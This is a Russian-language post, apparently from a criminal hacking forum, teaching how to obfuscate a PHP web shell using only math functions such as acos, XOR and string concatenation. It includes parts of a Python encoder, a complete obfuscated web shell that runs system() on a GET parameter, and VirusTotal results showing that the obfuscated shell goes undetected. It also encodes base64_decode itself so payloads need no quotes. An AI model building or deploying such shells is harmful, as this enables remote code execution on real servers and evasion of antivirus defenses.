• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Обфусцируем веб-шелл на PHP при помощи математических функций

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В целях защиты от внедрения кода для интерпретируемых языков используются фильтры, которые указывают, чего в пользовательском вводе быть не должно. Правильно, конечно, вообще не исполнять пользовательский ввод, но в случаях, когда это необходимо, без фильтров никуда. Сегодня я покажу новый способ обхода фильтров в PHP, и мы вместе поупражняемся в ненормальном программировании.
Идея метода для обхода фильтров кода на PHP возникла у меня еще давно, но подсказка подвернулась недавно. Примерно год назад, читая статью про очередные уязвимости в образовательной платформе Moodle, я наткнулся на статью, в которой исследователям пришлось придумать, как выполнить код без квадратных скобок и текста, используя только математические формулы. У метода, предложенного авторами оригинальной статьи, были ограничения, поэтому я немного изменил подход и доработал его.

Давай сначала разберем оригинальный метод, а дальше я покажу свою доработку.


www​

Оригинальный метод опубликован его авторами в их Для просмотра ссылки Войди или Зарегистрируйся и относится к уязвимости Для просмотра ссылки Войди или Зарегистрируйся.

warning​


Исходный метод​

Сразу оговорюсь, что этот метод был создан специально для эксплуатации Moodle, имеет ряд недостатков и ограничений и не рассчитан на более гибкое применение где‑то еще. Моя доработка, которую я покажу чуть позже, тоже неидеальна, но значительно расширяет возможности.

Давай формализуем задачу: нужно добиться RCE, используя только символы, которые встречаются в формулах. Это автоматически запрещает квадратные скобки и подобные хаки, которые обычно применяют в таких случаях.

Кажется, будто без спецсимволов получить выполнение кода невозможно, но для интерпретируемых языков это не совсем так. В PHP есть возможность задать имя функции в виде выражения, причем любого. Понять, как это работает, можно на простом примере:

Код:
php > print(base64_encode("printf"));
cHJpbnRm
php > base64_decode("cHJpbnRm")("hello");
hello
Как видно из примера, имя функции printf кодируется в Base64, а если раскодировать его обратно и вызвать строку с аргументом, только что раскодированная строка будет интерпретирована как функция, которая тут же будет выполнена. Для вызова функции можно использовать любой способ получения строки, а интерпретатор PHP сам найдет и выполнит нужную функцию.

Здесь важно, что это должна быть именно функция, то есть eval или print таким способом вызвать не получится, потому что это специальные языковые конструкции, а не функции. Такие конструкции PHP обрабатывает перед собственно выполнением кода. Если попробовать провернуть такой трюк с eval, то получим ошибку:

Код:
php > print(base64_encode("eval"));
ZXZhbA==
php > base64_decode("ZXZhbA==")("phpinfo();");
PHP Warning:  Uncaught Error: Call to undefined function eval() in php shell code:1
Stack trace:
#0 {main}
  thrown in php shell code on line 1
php >

Почитать про другие конструкции языка можно в Для просмотра ссылки Войди или Зарегистрируйся Махафузура Рахамана, а сейчас нам нужно просто усвоить, что вызывать таким способом допустимо только функции.

Плавно перейдем ко второй задаче — избавлению от заметных и очевидно нематематических функций вроде base64_decode. По условию задачи использовать можно только математические функции, а, как известно, при математических вычислениях обычно получаются числа.

Второй трюк заключается в том, чтобы после операций с числами получить строку. Для этого в PHP используется оператор ., который может быть как десятичной точкой в числе, так и оператором конкатенации. Чтобы извлечь из числа строку, нужно сначала получить любую другую строку. В оригинальной статье авторы используют acos(2), который даст NAN, так как это выражение невозможно вычислить. Давай попробуем:

Код:
php > print(gettype(acos(2)));
double
Получился double, а нужно string. Самый простой способ — конкатенация. При конкатенации чего угодно даже с пустой строкой получится строка, а мы сложим два числа‑строки NAN:

Код:
php > print(gettype(acos(2)));
double
php > print(gettype(acos(2) . acos(2)));
string
php > print(acos(2) . acos(2));
NANNAN

При конкатенации двух acos(2) получается строка NANNAN. Дальше можно собрать желаемую строку, используя операцию XOR:

(acos(2) . 1) ^ (0 . 0 . 0) ^ (1 . 1 . 1)
В первых скобках путем сложения NAN и 1 делаем строку NAN1, после чего применяем XOR на следующие выражения в скобках. Если выполнить код в скобках, то перед XOR мы получим выражение, как на рисунке ниже.

Для просмотра ссылки Войди или Зарегистрируйся
Дальше над каждым символом будет проведена побитовая операция исключающего ИЛИ (XOR) с соответствующим символом следующей строки. Хоть в первой строке и четыре символа, когда во всех остальных всего три, это не проблема — лишний символ откинет сам PHP.

XOR первого символа
После всех операций XOR в первом символе получится буква О.

Полная цепочка XOR

Используя этот метод, можно получить нужное слово, но, как оказалось, не любое. Работает этот трюк только для заглавных английских букв, так как менять верхние биты таким образом нельзя.

Это накладывает серьезное ограничение в том, что аргументы функции закодировать таким методом не получится, ведь они регистрозависимы, а еще недоступны цифры в именах функций (нельзя вызвать, например, base64_decode или base64_encode).

Такое ограничение сильно мешает выполнить полноценный код вроде system(base64_decode($_POST['smth'])) или file_put_contents("file.txt", "<?php ... >?");, но мне удалось доработать метод и исправить эти фатальные недостатки, чтобы можно было работать с нижним регистром и цифрами. И сейчас я расскажу, как он работает.


Доработанный метод​

Новый метод использует те же принципы создания текста: конкатенацию и получение NAN и INF из математических функций. Но я переработал конкатенацию NAN, поскольку каждый раз генерировать нужное количество NAN не очень эффективно. Теперь для получения слова конкатенируются буквы, а не всё делается из начального набора NAN. Каждая буква теперь получается отдельно, что упрощает метод и добавляет возможность работы не только с буквами верхнего регистра, но и с буквами нижнего, и даже с цифрами.

www​

Для просмотра ссылки Войди или Зарегистрируйся
Первым делом вся строка разбивается на символы и вычисляется итоговый XOR, который нужно получить из NAN. Сделал я это, используя минус, чтобы добавить дополнительный символ в набор. Я также экспериментировал с плюсом, но PHP его не выводит, то есть если написать +1, то получится просто 1 и ничего не изменится. Одного минуса хватит, чтобы работать с верхним и нижним регистром букв.
Код:
if string in digits:
    print(f"Digit flipping: acos(2) ^ ({string} . 0+acos(2)) ^ acos(2)")
    if len(result) < 1:
        result = result + f"(acos(2) ^ ({string} . 0+acos(2)) ^ acos(2))"
    else:
        result = result + " . " + f"(acos(2) ^ ({string} . 0+acos(2)) ^ acos(2))"
    continue

nan_char = 'N'.encode('ascii')[0]
fun_char = string.encode('ascii')
target_bits = nan_char ^ fun_char
debug_print("Target: {0:08b}".format(target_bits))

bits_count = bin(target_bits).count('1')
if bits_count > 5:
    print("Can't convert more than 5 bits")
    exit()

target_bits_str = '{0:08b}'.format(fun_char)
source_bits_str = '{0:08b}'.format(nan_char)
max_digits = 6

chars = find_xor_chars(target_bits_str, source_bits_str, max_digits, allowed_chars)
if chars is None:
    print("Could not find XOR characters for symbol:", chr(fun_char))
    exit()
debug_print("From [{0}] -> [{1}]: {2}".format(chr(nan_char), chr(fun_char), chars))
print(chars)
if len(result) < 1:
    result = result + generate_string(switch, chars)
else:
    result = result + " . " + generate_string(switch, chars)

Еще один интересный момент — получение цифр. У меня не вышло получить цифру операцией XOR с другими цифрами, но тут мне пригодилось базовое свойство XOR (x ^ a ^ a = x): если целевой символ — цифра, я просто проделываю с ней XOR дважды с одной цифрой. Для букв же после вычисления вызывается функция генерации символов, в которой перебором подбираются символы, чтобы из исходных битов получить нужные нам.

Для полной ясности давай по шагам посчитаем одну из строк, как я показывал для исходного метода. Если запустить скрипт кодирования для команды system, ты получишь следующий вывод:

Код:
$ python3 main.py 'system' 3
Target: 00111101
From [N] -> : ['0', '4', '9']
['0', '4', '9']
Target: 00110111
From [N] -> [y]: ['0', '0', '7']
['0', '0', '7']
Target: 00111101
From [N] -> : ['0', '4', '9']
['0', '4', '9']
Target: 00111010
From [N] -> [t]: ['0', '2', '8']
['0', '2', '8']
Target: 00101011
From [N] -> [e]: ['0', '6', '-']
['0', '6', '-']
Target: 00100011
From [N] -> [m]: ['6', '8', '-']
['6', '8', '-']
(acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ 7 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 2 . !1 ^ 8 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1)
Скрипт логирует все действия, и отследить процесс генерации — не проблема. Давай разберем работу первой скобки:

(acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1)

Я оставил исходное решение в виде конкатенации двух acos(2) для получения строки NANNAN. Оператор конкатенации в PHP имеет наивысший приоритет, что и используется дальше: первым делом произойдет склейка строк, и получится следующее выражение:

Код:
("NANNAN" ^ "0" ^ "4" ^ "9")
0, 4 и 9 на этом этапе будут уже строками, так как при конкатенации цифры даже с пустой строкой она тоже становится строкой. Способов получения пустых строк существует несколько, и в примере выше я использую !1, что равно false, который PHP считает пустой строкой. Другие способы можно найти в моем скрипте, если тебе вдруг попался какой‑то сильно агрессивный фильтр:

for char in chars_lists:
    if switch == 1:
        if char in ['-']:
            number_parts.append(f"{char}1 . (0>1)")
        else:
            number_parts.append(f"{char} . (0>1)")
    elif switch == 2:
        if char in ['-']:
            number_parts.append(f"{char}1 . (acos(2) == acos(2))")
        else:
            number_parts.append(f"{char} . (acos(2) == acos(2))")
    elif switch == 3:
        if char in ['-']:
            number_parts.append(f"{char}1 . !1")
        else:
            number_parts.append(f"{char} . !1")
    else:
        if char in ['-']:
            number_parts.append(f"{char}1 . NULL")
        else:
            number_parts.append(f"{char} . NULL")

Теперь, после конкатенации, можно перейти к исключающему ИЛИ. В силу особенностей PHP лишние символы будут отброшены, так что изначальное количество строк NAN становится неважным. Таким образом, в скобках вычисляется следующее выражение:

(N)1001110 ^ (0)110000 ^ (4)110100 ^ (9)111001
Если преобразовать полученное значение в символ, получится буква s!

's'
Все остальные символы кодируются таким же образом и потом склеиваются вместе. Давай закодируем простой веб‑шелл с использованием system и printf:

<?php printf(system($_GET['k']));
Поскольку мой скрипт только кодирует текст и не понимает семантику PHP, придется закодировать отдельные части вручную, после чего собрать пейлоад:

Код:
<?php ((acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ 8 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 8 . !1) . (acos(2) . 0+acos(2) ^ 2 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 9 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 2 . !1 ^ 8 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 5 . !1 ^ -1 . !1))(((acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ 7 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 2 . !1 ^ 8 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1))($_GET['k']));

Получается скрипт, который выглядит как формула, если опустить палевный $_GET.

Обфусцированный пейлоад работает!

Ограничения​

Я не смог устранить всех ограничений исходного метода, но, возможно, это сможешь сделать ты! В моем варианте нет поддержки спецсимволов и букв нелатинских алфавитов. Еще для получения пустой строки мне пришлось использовать разные конструкции, которые добавили новые символы в пейлоад, в частности =, !, > и NULL. В зависимости от своего случая ты можешь использовать разные способы получения пустой строки.


Тесты​

Для тестов воспользуемся VirusTotal: некоторые антивирусы работают с PHP-файлами и могут дать хоть какую‑то оценку того, поможет ли этот метод обойти базовые проверки. Я сделал два файла: один с традиционным веб‑шеллом, а второй — обфусцированный по моему методу. Вот обычный веб‑шелл, если ты вдруг его забыл:

<?php printf(system($_GET['c']));
Детекты исходного файла
Скрипт без детектов
Классический веб‑шелл детектируется несколькими антивирусами, тогда как обфусцированная версия не ловится вообще.

Было бы здорово доработать обфускатор, чтобы автоматически парсить и обфусцировать PHP-файлы. Это позволило бы собирать полноценные сложные веб‑шеллы на чистой математике, что до сих пор было невозможно.

Еще можно закодировать свой шелл в Base64 и обфусцировать уже закодированную версию, которую потом можно будет вставлять в другие функции, не используя кавычки:

Код:
$ echo "secret" | base64 -w0
c2VjcmV0Cg==⏎                                                                                                                           $ python3 main.py 'c2VjcmV0Cg' 3
Target: 00101101
From [N] -> [c]: ['0', '0', '-']
['0', '0', '-']
Digit flipping: acos(2) ^ (2 . 0+acos(2)) ^ acos(2)
Target: 00011000
From [N] -> [V]: ['5', '-']
['5', '-']
Target: 00100100
From [N] -> [j]: ['0', '9', '-']
['0', '9', '-']
Target: 00101101
From [N] -> [c]: ['0', '0', '-']
['0', '0', '-']
Target: 00100011
From [N] -> [m]: ['6', '8', '-']
['6', '8', '-']
Target: 00011000
From [N] -> [V]: ['5', '-']
['5', '-']
Digit flipping: acos(2) ^ (0 . 0+acos(2)) ^ acos(2)
Target: 00001101
From [N] -> [C]: ['4', '9']
['4', '9']
Target: 00101001
From [N] -> [g]: ['0', '4', '-']
['0', '4', '-']
(acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) ^ (2 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 9 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) ^ (0 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ -1 . !1)

Теперь эту строку можно использовать с base64_decode без кавычек:

Код:
base64_decode((acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) ^ (2 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 9 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) ^ (0 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ -1 . !1));

Даже сам base64_decode тоже можно закодировать! Смотри:

Код:
((acos(2) . 0+acos(2) ^ 0 . !1 ^ 1 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 2 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) ^ (6 . 0+acos(2)) ^ acos(2)) . (acos(2) ^ (4 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 7 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 7 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1))((acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) ^ (2 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 9 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) ^ (0 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ -1 . !1));

Если запустить такой код — получаем нашу строку:

Код:
php > printf(((acos(2) . 0+acos(2) ^ 0 . !1 ^ 1 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 2 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) ^ (6 . 0+acos(2)) ^ acos(2)) . (acos(2) ^ (4 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 7 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 7 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 6 . !1 ^ -1 . !1))((acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) ^ (2 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 9 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 0 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 6 . !1 ^ 8 . !1 ^ -1 . !1) . (acos(2) . 0+acos(2) ^ 5 . !1 ^ -1 . !1) . (acos(2) ^ (0 . 0+acos(2)) ^ acos(2)) . (acos(2) . 0+acos(2) ^ 4 . !1 ^ 9 . !1) . (acos(2) . 0+acos(2) ^ 0 . !1 ^ 4 . !1 ^ -1 . !1)));
PHP Warning:  A non-numeric value encountered in php shell code on line 1
PHP Warning:  A non-numeric value encountered in php shell code on line 1
PHP Warning:  A non-numeric value encountered in php shell code on line 1
PHP Warning:  A non-numeric value encountered in php shell code on line 1
secret

Готово!
 
Activity
So far there's no one here